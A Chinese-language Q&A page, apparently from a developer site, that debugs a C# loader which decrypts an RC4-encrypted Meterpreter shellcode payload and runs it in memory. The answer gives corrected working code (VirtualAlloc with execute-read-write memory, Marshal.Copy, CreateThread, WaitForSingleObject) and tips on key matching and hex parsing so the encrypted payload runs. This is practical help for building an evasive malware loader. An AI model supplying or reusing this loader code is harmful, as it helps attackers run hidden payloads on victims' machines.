You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

C#程序报-1073741819(0xc0000005)访问违例错误退出排查

故障原因

触发-1073741819 (0xc0000005) Access violation访问违例是多个问题共同导致的:

  • 最初Any CPU编译运行异常:你使用的Meterpreter载荷是32位x86架构的,Any CPU配置在64位系统上默认以64位模式启动进程,32位原生shellcode无法在64位进程中执行,切换x86目标平台的操作是正确的,但代码本身存在其他致命问题。
  • P/Invoke签名定义错误:所有Windows API的C#导入声明类型不匹配:
    • VirtualAlloc返回值、第一个入参都是指针类型,对应C#类型应为IntPtr,原代码用UInt32声明,在调用时会出现栈对齐错误、地址截断问题。
    • CreateThread第三个入参是线程入口地址,对应指针类型IntPtr,原代码用UInt32声明同样会导致调用异常,跳转到非法内存地址触发访问违例。
  • 内存分配参数错误:原代码调用VirtualAlloc时仅传入MEM_COMMIT标记,按照Windows内存管理规则,申请用户态私有内存必须同时传入MEM_RESERVE | MEM_COMMIT,否则函数会直接返回空指针,后续Marshal.Copy向空地址写入数据必然触发内存访问错误。
  • 无返回值校验:原代码调用完VirtualAlloc、CreateThread后没有判断返回值是否为空,API调用失败后继续执行后续逻辑直接触发崩溃。
  • 可选逻辑隐患:当前代码解析加密payload字符串时默认按十进制解析字节,如果加密时payload是按十六进制字符串存储的,解密出来的shellcode本身就是乱码,执行时必然崩溃。
修复方案
  1. 替换原有错误的Windows API导入声明为正确版本:
private const uint MEM_COMMIT = 0x1000;
private const uint MEM_RESERVE = 0x2000;
private const uint PAGE_EXECUTE_READWRITE = 0x40;
private const uint INFINITE = 0xFFFFFFFF;

[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAlloc(
    IntPtr lpAddress,
    uint dwSize,
    uint flAllocationType,
    uint flProtect
);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateThread(
    IntPtr lpThreadAttributes,
    uint dwStackSize,
    IntPtr lpStartAddress,
    IntPtr lpParameter,
    uint dwCreationFlags,
    out uint lpThreadId
);

[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(
    IntPtr hHandle,
    uint dwMilliseconds
);
  1. 替换原有内存分配、线程创建的执行逻辑,增加返回值校验,修正参数传值:
// 解密完成后替换原有VirtualAlloc及后续逻辑
IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)Final_Payload.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (funcAddr == IntPtr.Zero)
{
    Console.WriteLine($"内存分配失败,错误码:{Marshal.GetLastWin32Error()}");
    return;
}
Marshal.Copy(Final_Payload, 0, funcAddr, Final_Payload.Length);

uint threadId = 0;
IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, out threadId);
if (hThread == IntPtr.Zero)
{
    Console.WriteLine($"线程创建失败,错误码:{Marshal.GetLastWin32Error()}");
    return;
}
WaitForSingleObject(hThread, INFINITE);
  1. 核对payload解析逻辑:如果加密时生成的密文字符串是十六进制格式,解析字节时需要将Convert.ToByte调用改为Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i], 16),和加密逻辑保持一致,避免解密出乱码。
  2. 核对RC4密钥和加密时使用的密钥完全一致,密钥错误同样会导致解密出的shellcode无效,执行崩溃。
运行现象说明

VS调试模式下程序崩溃后保持打开,是因为调试器会自动捕获系统层SEH异常并中断在出错位置;直接运行exe时无调试器挂载,进程触发未处理的原生异常后会被系统直接终止,属于正常表现。

内容的提问来源于stack exchange,提问作者KrazzY

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.30 12:45:26